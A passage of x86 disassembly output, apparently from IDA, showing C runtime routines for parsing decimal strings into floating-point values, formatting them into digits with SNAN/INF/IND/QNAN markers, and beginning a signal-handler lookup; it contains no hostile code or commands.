var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_8]
xor edx, edx
cmp eax, edx
push esi
mov [ebp+var_4], 404Eh
mov [ebx], edx
mov [ebx+4], edx
mov [ebx+8], edx
jbe short loc_42544F
push edi
mov [ebp+arg_8], eax
loc_425402: ; CODE XREF: sub_4253DB+6Fj
mov esi, ebx
lea edi, [ebp+var_10]
movsd
movsd
push ebx
movsd
call sub_425380
push ebx
call sub_425380
lea eax, [ebp+var_10]
push eax
push ebx
call sub_425322
push ebx
call sub_425380
mov eax, [ebp+arg_0]
and [ebp+var_C], 0
and [ebp+var_8], 0
movsx eax, byte ptr [eax]
mov [ebp+var_10], eax
lea eax, [ebp+var_10]
push eax
push ebx
call sub_425322
add esp, 1Ch
inc [ebp+arg_0]
dec [ebp+arg_8]
jnz short loc_425402
xor edx, edx
pop edi
loc_42544F: ; CODE XREF: sub_4253DB+21j
; sub_4253DB+9Fj
cmp [ebx+8], edx
jnz short loc_42547C
mov ecx, [ebx+4]
mov eax, ecx
shr eax, 10h
mov [ebx+8], eax
mov eax, [ebx]
mov esi, eax
shr esi, 10h
shl ecx, 10h
or esi, ecx
shl eax, 10h
add [ebp+var_4], 0FFF0h
mov [ebx+4], esi
mov [ebx], eax
jmp short loc_42544F
; ---------------------------------------------------------------------------
loc_42547C: ; CODE XREF: sub_4253DB+77j
mov esi, 8000h
loc_425481: ; CODE XREF: sub_4253DB+B9j
test [ebx+8], esi
jnz short loc_425496
push ebx
call sub_425380
add [ebp+var_4], 0FFFFh
pop ecx
jmp short loc_425481
; ---------------------------------------------------------------------------
loc_425496: ; CODE XREF: sub_4253DB+A9j
mov ax, word ptr [ebp+var_4]
pop esi
mov [ebx+0Ah], ax
pop ebx
leave
retn
sub_4253DB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4254A2 proc near ; CODE XREF: sub_424D28+17p
; sub_424D55+17p
var_5C = byte ptr -5Ch
var_45 = byte ptr -45h
var_40 = dword ptr -40h
var_3A = dword ptr -3Ah
var_36 = dword ptr -36h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 5Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea eax, [ebp+var_5C]
push 1
mov [ebp+var_C], eax
xor eax, eax
pop edx
mov [ebp+var_28], eax
mov [ebp+var_18], edx
mov [ebp+var_4], eax
mov [ebp+var_10], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_2C], eax
mov [ebp+var_30], eax
mov [ebp+var_1C], eax
mov [ebp+var_8], eax
mov [ebp+var_14], eax
mov [ebp+arg_8], edi
loc_4254DD: ; CODE XREF: sub_4254A2+52j
mov cl, [edi]
cmp cl, 20h
jz short loc_4254F3
cmp cl, 9
jz short loc_4254F3
cmp cl, 0Ah
jz short loc_4254F3
cmp cl, 0Dh
jnz short loc_4254F6
loc_4254F3: ; CODE XREF: sub_4254A2+40j
; sub_4254A2+45j ...
inc edi
jmp short loc_4254DD
; ---------------------------------------------------------------------------
loc_4254F6: ; CODE XREF: sub_4254A2+4Fj
push 4
pop esi
loc_4254F9: ; CODE XREF: sub_4254A2+AEj
; sub_4254A2+B7j ...
mov bl, [edi]
inc edi
cmp eax, 0Bh ; switch 12 cases
ja loc_42577C ; default
; jumptable 00425505 case 10
jmp off_425943[eax*4] ; switch jump
loc_42550C: ; DATA XREF: .packed:off_425943o
cmp bl, 31h ; jumptable 00425505 case 0
jl short loc_42551D
cmp bl, 39h
jg short loc_42551D
loc_425516: ; CODE XREF: sub_4254A2+C4j
; sub_4254A2+118j
push 3
jmp loc_42573A
; ---------------------------------------------------------------------------
loc_42551D: ; CODE XREF: sub_4254A2+6Dj
; sub_4254A2+72j
cmp bl, byte_43D088
jnz short loc_42552C
loc_425525: ; CODE XREF: sub_4254A2+124j
push 5
jmp loc_425772
; ---------------------------------------------------------------------------
loc_42552C: ; CODE XREF: sub_4254A2+81j
movsx eax, bl
sub eax, 2Bh
jz short loc_425552
dec eax
dec eax
jz short loc_425546
sub eax, 3
jnz loc_425815
jmp loc_4255D5
; ---------------------------------------------------------------------------
loc_425546: ; CODE XREF: sub_4254A2+94j
push 2
mov [ebp+var_28], 8000h
pop eax
jmp short loc_4254F9
; ---------------------------------------------------------------------------
loc_425552: ; CODE XREF: sub_4254A2+90j
and [ebp+var_28], 0
push 2
pop eax
jmp short loc_4254F9
; ---------------------------------------------------------------------------
loc_42555B: ; CODE XREF: sub_4254A2+63j
; DATA XREF: .packed:off_425943o
cmp bl, 31h ; jumptable 00425505 case 1
mov [ebp+var_10], edx
jl short loc_425568
cmp bl, 39h
jle short loc_425516
loc_425568: ; CODE XREF: sub_4254A2+BFj
cmp bl, byte_43D088
jz loc_425630
cmp bl, 2Bh
jz short loc_4255AA
cmp bl, 2Dh
jz short loc_4255AA
cmp bl, 30h
jz short loc_4255D5
loc_425583: ; CODE XREF: sub_4254A2+207j
cmp bl, 43h
jle loc_425815
cmp bl, 45h
jle short loc_4255A3
cmp bl, 63h
jle loc_425815
cmp bl, 65h
jg loc_425815
loc_4255A3: ; CODE XREF: sub_4254A2+EDj
push 6
jmp loc_425772
; ---------------------------------------------------------------------------
loc_4255AA: ; CODE XREF: sub_4254A2+D5j
; sub_4254A2+DAj ...
dec edi
push 0Bh
jmp loc_425772
; ---------------------------------------------------------------------------
loc_4255B2: ; CODE XREF: sub_4254A2+63j
; DATA XREF: .packed:off_425943o
cmp bl, 31h ; jumptable 00425505 case 2
jl short loc_4255C0
cmp bl, 39h
jle loc_425516
loc_4255C0: ; CODE XREF: sub_4254A2+113j
cmp bl, byte_43D088
jz loc_425525
cmp bl, 30h
jnz loc_42578A
loc_4255D5: ; CODE XREF: sub_4254A2+9Fj
; sub_4254A2+DFj
mov eax, edx
jmp loc_4254F9
; ---------------------------------------------------------------------------
loc_4255DC: ; CODE XREF: sub_4254A2+63j
; DATA XREF: .packed:off_425943o
mov [ebp+var_10], edx ; jumptable 00425505 case 3
loc_4255DF: ; CODE XREF: sub_4254A2+184j
cmp dword_43D084, edx
jle short loc_4255F8
movzx eax, bl
push esi
push eax
call sub_41FDB5
pop ecx
pop ecx
push 1
pop edx
jmp short loc_425606
; ---------------------------------------------------------------------------
loc_4255F8: ; CODE XREF: sub_4254A2+143j
mov ecx, off_43CE78
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_425606: ; CODE XREF: sub_4254A2+154j
test eax, eax
jz short loc_425628
cmp [ebp+var_4], 19h
jnb short loc_425620
mov eax, [ebp+var_C]
inc [ebp+var_4]
sub bl, 30h
inc [ebp+var_C]
mov [eax], bl
jmp short loc_425623
; ---------------------------------------------------------------------------
loc_425620: ; CODE XREF: sub_4254A2+16Cj
inc [ebp+var_8]
loc_425623: ; CODE XREF: sub_4254A2+17Cj
mov bl, [edi]
inc edi
jmp short loc_4255DF
; ---------------------------------------------------------------------------
loc_425628: ; CODE XREF: sub_4254A2+166j
cmp bl, byte_43D088
jnz short loc_425697
loc_425630: ; CODE XREF: sub_4254A2+CCj
mov eax, esi
jmp loc_4254F9
; ---------------------------------------------------------------------------
loc_425637: ; CODE XREF: sub_4254A2+63j
; DATA XREF: .packed:off_425943o
cmp [ebp+var_4], 0 ; jumptable 00425505 case 4
mov [ebp+var_10], edx
mov [ebp+var_24], edx
jnz short loc_425650
loc_425643: ; CODE XREF: sub_4254A2+1ACj
cmp bl, 30h
jnz short loc_425650
dec [ebp+var_8]
mov bl, [edi]
inc edi
jmp short loc_425643
; ---------------------------------------------------------------------------
loc_425650: ; CODE XREF: sub_4254A2+19Fj
; sub_4254A2+1A4j ...
cmp dword_43D084, edx
jle short loc_425669
movzx eax, bl
push esi
push eax
call sub_41FDB5
pop ecx
pop ecx
push 1
pop edx
jmp short loc_425677
; ---------------------------------------------------------------------------
loc_425669: ; CODE XREF: sub_4254A2+1B4j
mov ecx, off_43CE78
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_425677: ; CODE XREF: sub_4254A2+1C5j
test eax, eax
jz short loc_425697
cmp [ebp+var_4], 19h
jnb short loc_425692
mov eax, [ebp+var_C]
inc [ebp+var_4]
sub bl, 30h
inc [ebp+var_C]
dec [ebp+var_8]
mov [eax], bl
loc_425692: ; CODE XREF: sub_4254A2+1DDj
mov bl, [edi]
inc edi
jmp short loc_425650
; ---------------------------------------------------------------------------
loc_425697: ; CODE XREF: sub_4254A2+18Cj
; sub_4254A2+1D7j
cmp bl, 2Bh
jz loc_4255AA
cmp bl, 2Dh
jz loc_4255AA
jmp loc_425583
; ---------------------------------------------------------------------------
loc_4256AE: ; CODE XREF: sub_4254A2+63j
; DATA XREF: .packed:off_425943o
cmp dword_43D084, edx ; jumptable 00425505 case 5
mov [ebp+var_24], edx
jle short loc_4256CA
movzx eax, bl
push esi
push eax
call sub_41FDB5
pop ecx
pop ecx
push 1
pop edx
jmp short loc_4256D8
; ---------------------------------------------------------------------------
loc_4256CA: ; CODE XREF: sub_4254A2+215j
mov ecx, off_43CE78
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_4256D8: ; CODE XREF: sub_4254A2+226j
test eax, eax
jz loc_42578A
mov eax, esi
jmp short loc_42573B
; ---------------------------------------------------------------------------
loc_4256E4: ; CODE XREF: sub_4254A2+63j
; DATA XREF: .packed:off_425943o
lea ecx, [edi-2] ; jumptable 00425505 case 6
cmp bl, 31h
mov [ebp+arg_8], ecx
jl short loc_4256F4
cmp bl, 39h
jle short loc_425738
loc_4256F4: ; CODE XREF: sub_4254A2+24Bj
movsx eax, bl
sub eax, 2Bh
jz short loc_425770
dec eax
dec eax
jz short loc_425764
sub eax, 3
jnz loc_425818
loc_425709: ; CODE XREF: sub_4254A2+2A4j
push 8
jmp short loc_425772
; ---------------------------------------------------------------------------
loc_42570D: ; CODE XREF: sub_4254A2+63j
; DATA XREF: .packed:off_425943o
mov [ebp+var_20], edx ; jumptable 00425505 case 8
loc_425710: ; CODE XREF: sub_4254A2+276j
cmp bl, 30h
jnz short loc_42571A
mov bl, [edi]
inc edi
jmp short loc_425710
; ---------------------------------------------------------------------------
loc_42571A: ; CODE XREF: sub_4254A2+271j
cmp bl, 31h
jl loc_425815
cmp bl, 39h
jg loc_425815
jmp short loc_425738
; ---------------------------------------------------------------------------
loc_42572E: ; CODE XREF: sub_4254A2+63j
; DATA XREF: .packed:off_425943o
cmp bl, 31h ; jumptable 00425505 case 7
jl short loc_425741
cmp bl, 39h
jg short loc_425741
loc_425738: ; CODE XREF: sub_4254A2+250j
; sub_4254A2+28Aj
push 9
loc_42573A: ; CODE XREF: sub_4254A2+76j
pop eax
loc_42573B: ; CODE XREF: sub_4254A2+240j
dec edi
jmp loc_4254F9
; ---------------------------------------------------------------------------
loc_425741: ; CODE XREF: sub_4254A2+28Fj
; sub_4254A2+294j
cmp bl, 30h
jnz short loc_42578A
jmp short loc_425709
; ---------------------------------------------------------------------------
loc_425748: ; CODE XREF: sub_4254A2+63j
; DATA XREF: .packed:off_425943o
cmp [ebp+arg_18], 0 ; jumptable 00425505 case 11
jz short loc_425778
movsx eax, bl
lea ecx, [edi-1]
sub eax, 2Bh
mov [ebp+arg_8], ecx
jz short loc_425770
dec eax
dec eax
jnz loc_425818
loc_425764: ; CODE XREF: sub_4254A2+25Cj
or [ebp+var_18], 0FFFFFFFFh
push 7
pop eax
jmp loc_4254F9
; ---------------------------------------------------------------------------
loc_425770: ; CODE XREF: sub_4254A2+258j
; sub_4254A2+2B8j
push 7
loc_425772: ; CODE XREF: sub_4254A2+85j
; sub_4254A2+103j ...
pop eax
jmp loc_4254F9
; ---------------------------------------------------------------------------
loc_425778: ; CODE XREF: sub_4254A2+2AAj
push 0Ah
dec edi
pop eax
loc_42577C: ; CODE XREF: sub_4254A2+5Dj
; sub_4254A2+63j
; DATA XREF: ...
cmp eax, 0Ah ; default
; jumptable 00425505 case 10
jz loc_42581A
jmp loc_4254F9
; ---------------------------------------------------------------------------
loc_42578A: ; CODE XREF: sub_4254A2+12Dj
; sub_4254A2+238j ...
mov edi, [ebp+arg_8]
jmp loc_42581A
; ---------------------------------------------------------------------------
loc_425792: ; CODE XREF: sub_4254A2+63j
; DATA XREF: .packed:off_425943o
mov [ebp+var_20], 1 ; jumptable 00425505 case 9
xor esi, esi
loc_42579B: ; CODE XREF: sub_4254A2+339j
cmp dword_43D084, 1
jle short loc_4257B3
movzx eax, bl
push 4
push eax
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_4257C2
; ---------------------------------------------------------------------------
loc_4257B3: ; CODE XREF: sub_4254A2+300j
mov ecx, off_43CE78
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_4257C2: ; CODE XREF: sub_4254A2+30Fj
test eax, eax
jz short loc_4257E2
movsx ecx, bl
lea eax, [esi+esi*4]
lea esi, [ecx+eax*2-30h]
cmp esi, 1450h
jg short loc_4257DD
mov bl, [edi]
inc edi
jmp short loc_42579B
; ---------------------------------------------------------------------------
loc_4257DD: ; CODE XREF: sub_4254A2+334j
mov esi, 1451h
loc_4257E2: ; CODE XREF: sub_4254A2+322j
mov [ebp+var_1C], esi
loc_4257E5: ; CODE XREF: sub_4254A2+371j
cmp dword_43D084, 1
jle short loc_4257FD
movzx eax, bl
push 4
push eax
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_42580C
; ---------------------------------------------------------------------------
loc_4257FD: ; CODE XREF: sub_4254A2+34Aj
mov ecx, off_43CE78
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_42580C: ; CODE XREF: sub_4254A2+359j
test eax, eax
jz short loc_425815
mov bl, [edi]
inc edi
jmp short loc_4257E5
; ---------------------------------------------------------------------------
loc_425815: ; CODE XREF: sub_4254A2+99j
; sub_4254A2+E4j ...
dec edi
jmp short loc_42581A
; ---------------------------------------------------------------------------
loc_425818: ; CODE XREF: sub_4254A2+261j
; sub_4254A2+2BCj
mov edi, ecx
loc_42581A: ; CODE XREF: sub_4254A2+2DDj
; sub_4254A2+2EBj ...
mov eax, [ebp+arg_4]
cmp [ebp+var_10], 0
mov [eax], edi
jz loc_425902
push 18h
pop eax
cmp [ebp+var_4], eax
jbe short loc_425846
cmp [ebp+var_45], 5
jl short loc_42583A
inc [ebp+var_45]
loc_42583A: ; CODE XREF: sub_4254A2+393j
mov [ebp+var_4], eax
mov eax, [ebp+var_C]
dec eax
inc [ebp+var_8]
jmp short loc_425849
; ---------------------------------------------------------------------------
loc_425846: ; CODE XREF: sub_4254A2+38Dj
mov eax, [ebp+var_C]
loc_425849: ; CODE XREF: sub_4254A2+3A2j
cmp [ebp+var_4], 0
jbe loc_4258F8
loc_425853: ; CODE XREF: sub_4254A2+3BDj
dec eax
cmp byte ptr [eax], 0
jnz short loc_425861
dec [ebp+var_4]
inc [ebp+var_8]
jmp short loc_425853
; ---------------------------------------------------------------------------
loc_425861: ; CODE XREF: sub_4254A2+3B5j
lea eax, [ebp+var_40]
push eax
lea eax, [ebp+var_5C]
push [ebp+var_4]
push eax
call sub_4253DB
mov eax, [ebp+var_1C]
xor ecx, ecx
add esp, 0Ch
cmp [ebp+var_18], ecx
jge short loc_425880
neg eax
loc_425880: ; CODE XREF: sub_4254A2+3DAj
add eax, [ebp+var_8]
cmp [ebp+var_20], ecx
jnz short loc_42588B
add eax, [ebp+arg_10]
loc_42588B: ; CODE XREF: sub_4254A2+3E4j
cmp [ebp+var_24], ecx
jnz short loc_425893
sub eax, [ebp+arg_14]
loc_425893: ; CODE XREF: sub_4254A2+3ECj
cmp eax, 1450h
jle short loc_4258CA
mov [ebp+var_2C], 1
loc_4258A1: ; CODE XREF: sub_4254A2+436j
mov ebx, [ebp+arg_8]
mov esi, [ebp+arg_8]
mov eax, [ebp+arg_8]
mov edx, [ebp+arg_8]
loc_4258AD: ; CODE XREF: sub_4254A2+454j
; sub_4254A2+45Ej
cmp [ebp+var_2C], 0
jz short loc_425913
xor ebx, ebx
mov eax, 7FFFh
mov esi, 80000000h
xor edx, edx
mov [ebp+var_14], 2
jmp short loc_425928
; ---------------------------------------------------------------------------
loc_4258CA: ; CODE XREF: sub_4254A2+3F6j
cmp eax, 0FFFFEBB0h
jge short loc_4258DA
mov [ebp+var_30], 1
jmp short loc_4258A1
; ---------------------------------------------------------------------------
loc_4258DA: ; CODE XREF: sub_4254A2+42Dj
push [ebp+arg_C]
push eax
lea eax, [ebp+var_40]
push eax
call sub_42600E
mov edx, [ebp+var_40]
mov ebx, [ebp+var_40+2]
mov esi, [ebp+var_3A]
mov eax, [ebp+var_36]
add esp, 0Ch
jmp short loc_4258AD
; ---------------------------------------------------------------------------
loc_4258F8: ; CODE XREF: sub_4254A2+3ABj
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
jmp short loc_4258AD
; ---------------------------------------------------------------------------
loc_425902: ; CODE XREF: sub_4254A2+381j
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
mov [ebp+var_14], 4
jmp short loc_425928
; ---------------------------------------------------------------------------
loc_425913: ; CODE XREF: sub_4254A2+40Fj
cmp [ebp+var_30], 0
jz short loc_425928
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
mov [ebp+var_14], 1
loc_425928: ; CODE XREF: sub_4254A2+426j
; sub_4254A2+46Fj ...
mov ecx, [ebp+arg_0]
or eax, [ebp+var_28]
pop edi
mov [ecx+6], esi
mov [ecx+2], ebx
mov [ecx+0Ah], ax
mov eax, [ebp+var_14]
pop esi
mov [ecx], dx
pop ebx
leave
retn
sub_4254A2 endp
; ---------------------------------------------------------------------------
off_425943 dd offset loc_42550C ; DATA XREF: sub_4254A2+63r
dd offset loc_42555B ; jump table for switch statement
dd offset loc_4255B2
dd offset loc_4255DC
dd offset loc_425637
dd offset loc_4256AE
dd offset loc_4256E4
dd offset loc_42572E
dd offset loc_42570D
dd offset loc_425792
dd offset loc_42577C
dd offset loc_425748
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425973 proc near ; CODE XREF: sub_424DF9+2Cp
var_1C = byte ptr -1Ch
var_1B = byte ptr -1Bh
var_1A = byte ptr -1Ah
var_19 = byte ptr -19h
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_10 = word ptr -10h
var_E = dword ptr -0Eh
var_A = dword ptr -0Ah
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
mov eax, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_14]
push esi
mov ecx, eax
mov esi, 7FFFh
and ecx, 8000h
and eax, esi
test cx, cx
push edi
mov [ebp+var_1C], 0CCh
mov [ebp+var_1B], 0CCh
mov [ebp+var_1A], 0CCh
mov [ebp+var_19], 0CCh
mov [ebp+var_18], 0CCh
mov [ebp+var_17], 0CCh
mov [ebp+var_16], 0CCh
mov [ebp+var_15], 0CCh
mov [ebp+var_14], 0CCh
mov [ebp+var_13], 0CCh
mov [ebp+var_12], 0FBh
mov [ebp+var_11], 3Fh
mov [ebp+var_4], 1
mov edx, eax
jz short loc_4259D5
mov byte ptr [ebx+2], 2Dh
jmp short loc_4259D9
; ---------------------------------------------------------------------------
loc_4259D5: ; CODE XREF: sub_425973+5Aj
mov byte ptr [ebx+2], 20h
loc_4259D9: ; CODE XREF: sub_425973+60j
mov edi, [ebp+arg_4]
test dx, dx
jnz short loc_4259FF
test edi, edi
jnz short loc_4259FF
cmp [ebp+arg_0], edi
jnz short loc_4259FF
loc_4259EA: ; CODE XREF: sub_425973+181j
and word ptr [ebx], 0
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ebx+4], 30h
jmp loc_425BFD
; ---------------------------------------------------------------------------
loc_4259FF: ; CODE XREF: sub_425973+6Cj
; sub_425973+70j ...
cmp dx, si
jnz short loc_425A7E
mov eax, 80000000h
mov word ptr [ebx], 1
cmp edi, eax
jnz short loc_425A18
cmp [ebp+arg_0], 0
jz short loc_425A27
loc_425A18: ; CODE XREF: sub_425973+9Dj
test edi, 40000000h
jnz short loc_425A27
push offset a1Snan ; "1#SNAN"
jmp short loc_425A6D
; ---------------------------------------------------------------------------
loc_425A27: ; CODE XREF: sub_425973+A3j
; sub_425973+ABj
test cx, cx
jz short loc_425A41
cmp edi, 0C0000000h
jnz short loc_425A41
cmp [ebp+arg_0], 0
jnz short loc_425A68
push offset a1Ind ; "1#IND"
jmp short loc_425A50
; ---------------------------------------------------------------------------
loc_425A41: ; CODE XREF: sub_425973+B7j
; sub_425973+BFj
cmp edi, eax
jnz short loc_425A68
cmp [ebp+arg_0], 0
jnz short loc_425A68
push offset a1Inf ; "1#INF"
loc_425A50: ; CODE XREF: sub_425973+CCj
lea eax, [ebx+4]
push eax
call sub_41C890
pop ecx
mov byte ptr [ebx+3], 5
pop ecx
loc_425A5F: ; CODE XREF: sub_425973+109j
and [ebp+var_4], 0
jmp loc_425BD6
; ---------------------------------------------------------------------------
loc_425A68: ; CODE XREF: sub_425973+C5j
; sub_425973+D0j ...
push offset a1Qnan ; "1#QNAN"
loc_425A6D: ; CODE XREF: sub_425973+B2j
lea eax, [ebx+4]
push eax
call sub_41C890
pop ecx
mov byte ptr [ebx+3], 6
pop ecx
jmp short loc_425A5F
; ---------------------------------------------------------------------------
loc_425A7E: ; CODE XREF: sub_425973+8Fj
movzx eax, dx
mov ecx, edi
mov esi, eax
shr ecx, 18h
imul eax, 4D10h
shr esi, 8
and [ebp+var_10], 0
push 1
lea ecx, [esi+ecx*2]
mov [ebp+var_6], dx
imul ecx, 4Dh
mov [ebp+var_A], edi
lea esi, [ecx+eax-134312F4h]
mov eax, [ebp+arg_0]
sar esi, 10h
mov [ebp+var_E], eax
movsx eax, si
neg eax
push eax
lea eax, [ebp+var_10]
push eax
call sub_42600E
add esp, 0Ch
cmp [ebp+var_6], 3FFFh
jb short loc_425ADF
lea eax, [ebp+var_1C]
inc esi
push eax
lea eax, [ebp+var_10]
push eax
call sub_425DEE
pop ecx
pop ecx
loc_425ADF: ; CODE XREF: sub_425973+15Aj
test [ebp+arg_10], 1
mov [ebx], si
jz short loc_425AF9
mov edi, [ebp+arg_C]
movsx eax, si
add edi, eax
test edi, edi
jg short loc_425AFC
jmp loc_4259EA
; ---------------------------------------------------------------------------
loc_425AF9: ; CODE XREF: sub_425973+173j
mov edi, [ebp+arg_C]
loc_425AFC: ; CODE XREF: sub_425973+17Fj
cmp edi, 15h
jle short loc_425B04
push 15h
pop edi
loc_425B04: ; CODE XREF: sub_425973+18Cj
movzx esi, [ebp+var_6]
sub esi, 3FFEh
and [ebp+var_6], 0
mov [ebp+arg_14], 8
loc_425B1A: ; CODE XREF: sub_425973+1B4j
lea eax, [ebp+var_10]
push eax
call sub_425380
dec [ebp+arg_14]
pop ecx
jnz short loc_425B1A
test esi, esi
jge short loc_425B44
neg esi
and esi, 0FFh
jle short loc_425B44
loc_425B37: ; CODE XREF: sub_425973+1CFj
lea eax, [ebp+var_10]
push eax
call sub_4253AE
dec esi
pop ecx
jnz short loc_425B37
loc_425B44: ; CODE XREF: sub_425973+1B8j
; sub_425973+1C2j
lea ecx, [edi+1]
lea eax, [ebx+4]
test ecx, ecx
mov [ebp+arg_14], eax
jle short loc_425BA1
mov [ebp+arg_C], ecx
loc_425B54: ; CODE XREF: sub_425973+229j
lea esi, [ebp+var_10]
lea edi, [ebp+arg_0]
movsd
movsd
lea eax, [ebp+var_10]
push eax
movsd
call sub_425380
lea eax, [ebp+var_10]
push eax
call sub_425380
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_10]
push eax
call sub_425322
lea eax, [ebp+var_10]
push eax
call sub_425380
mov al, byte ptr [ebp+var_6+1]
mov ecx, [ebp+arg_14]
and byte ptr [ebp+var_6+1], 0
add esp, 14h
add al, 30h
inc [ebp+arg_14]
dec [ebp+arg_C]
mov [ecx], al
jnz short loc_425B54
mov eax, [ebp+arg_14]
loc_425BA1: ; CODE XREF: sub_425973+1DCj
mov cl, [eax-1]
dec eax
dec eax
cmp cl, 35h
lea ecx, [ebx+4]
jl short loc_425BDE
loc_425BAE: ; CODE XREF: sub_425973+248j
cmp eax, ecx
jb short loc_425BC1
cmp byte ptr [eax], 39h
jnz short loc_425BBD
mov byte ptr [eax], 30h
dec eax
jmp short loc_425BAE
; ---------------------------------------------------------------------------
loc_425BBD: ; CODE XREF: sub_425973+242j
cmp eax, ecx
jnb short loc_425BC5
loc_425BC1: ; CODE XREF: sub_425973+23Dj
inc eax
inc word ptr [ebx]
loc_425BC5: ; CODE XREF: sub_425973+24Cj
inc byte ptr [eax]
loc_425BC7: ; CODE XREF: sub_425973+279j
sub al, bl
sub al, 3
mov [ebx+3], al
movsx eax, al
and byte ptr [eax+ebx+4], 0
loc_425BD6: ; CODE XREF: sub_425973+F0j
mov eax, [ebp+var_4]
loc_425BD9: ; CODE XREF: sub_425973+291j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_425BDE: ; CODE XREF: sub_425973+239j
; sub_425973+275j
cmp eax, ecx
jb short loc_425BEE
cmp byte ptr [eax], 30h
jnz short loc_425BEA
dec eax
jmp short loc_425BDE
; ---------------------------------------------------------------------------
loc_425BEA: ; CODE XREF: sub_425973+272j
cmp eax, ecx
jnb short loc_425BC7
loc_425BEE: ; CODE XREF: sub_425973+26Dj
and word ptr [ebx], 0
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ecx], 30h
loc_425BFD: ; CODE XREF: sub_425973+87j
and byte ptr [ebx+5], 0
push 1
pop eax
jmp short loc_425BD9
sub_425973 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425C06 proc near ; CODE XREF: sub_422DFC+21DDp
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
mov eax, edi
dec eax
dec eax
jz short loc_425C6D
dec eax
dec eax
jz short loc_425C5E
sub eax, 4
jz short loc_425C5E
sub eax, 3
jz short loc_425C5E
sub eax, 4
jz short loc_425C51
sub eax, 6
jz short loc_425C44
dec eax
jz short loc_425C37
or eax, 0FFFFFFFFh
jmp loc_425D2F
; ---------------------------------------------------------------------------
loc_425C37: ; CODE XREF: sub_425C06+27j
mov esi, dword_4DC004
mov eax, offset dword_4DC004
jmp short loc_425C78
; ---------------------------------------------------------------------------
loc_425C44: ; CODE XREF: sub_425C06+24j
mov esi, dword_4DC000
mov eax, offset dword_4DC000
jmp short loc_425C78
; ---------------------------------------------------------------------------
loc_425C51: ; CODE XREF: sub_425C06+1Fj
mov esi, dword_4DC008
mov eax, offset dword_4DC008
jmp short loc_425C78
; ---------------------------------------------------------------------------
loc_425C5E: ; CODE XREF: sub_425C06+10j
; sub_425C06+15j ...
push edi
call sub_425D33
mov esi, [eax+8]
add eax, 8
pop ecx
jmp short loc_425C78
; ---------------------------------------------------------------------------
loc_425C6D: ; CODE XREF: sub_425C06+Cj
mov esi, dword_4DBFFC
mov eax, offset dword_4DBFFC
loc_425C78: ; CODE XREF: sub_425C06+3Cj
; sub_425C06+49j ...
cmp esi, 1
jnz short loc_425C84
xor eax, eax
jmp loc_425D2F
; ---------------------------------------------------------------------------
loc_425C84: ; CODE XREF: sub_425C06+75j
test esi, esi
jnz short loc_425C8F
push 3
call sub_41C1A2
loc_425C8F: ; CODE XREF: sub_425C06+80j
push ebx
push 8
pop ecx
cmp edi, ecx
jz short loc_425CA1
cmp edi, 0Bh
jz short loc_425CA1
cmp edi, 4
jnz short loc_425CC7
loc_425CA1: ; CODE XREF: sub_425C06+8Fj
; sub_425C06+94j
mov ebx, dword_4DBE9C
and dword_4DBE9C, 0
cmp edi, ecx
jnz short loc_425CF6
mov edx, dword_43D4CC
mov dword_43D4CC, 8Ch
mov [ebp+arg_0], edx
jmp short loc_425CCA
; ---------------------------------------------------------------------------
loc_425CC7: ; CODE XREF: sub_425C06+99j
mov ebx, [ebp+arg_0]
loc_425CCA: ; CODE XREF: sub_425C06+BFj
cmp edi, ecx
jnz short loc_425CF6
mov eax, dword_43D4C0
mov ecx, dword_43D4C4
add ecx, eax
cmp eax, ecx
jge short loc_425CFD
lea edx, [eax+eax*2]
sub ecx, eax
lea edx, ds:43D450h[edx*4]
loc_425CEB: ; CODE XREF: sub_425C06+ECj
and dword ptr [edx], 0
add edx, 0Ch
dec ecx
jnz short loc_425CEB
jmp short loc_425CFD
; ---------------------------------------------------------------------------
loc_425CF6: ; CODE XREF: sub_425C06+AAj
; sub_425C06+C6j
and dword ptr [eax], 0
cmp edi, ecx
jnz short loc_425D0B
loc_425CFD: ; CODE XREF: sub_425C06+D7j
; sub_425C06+EEj
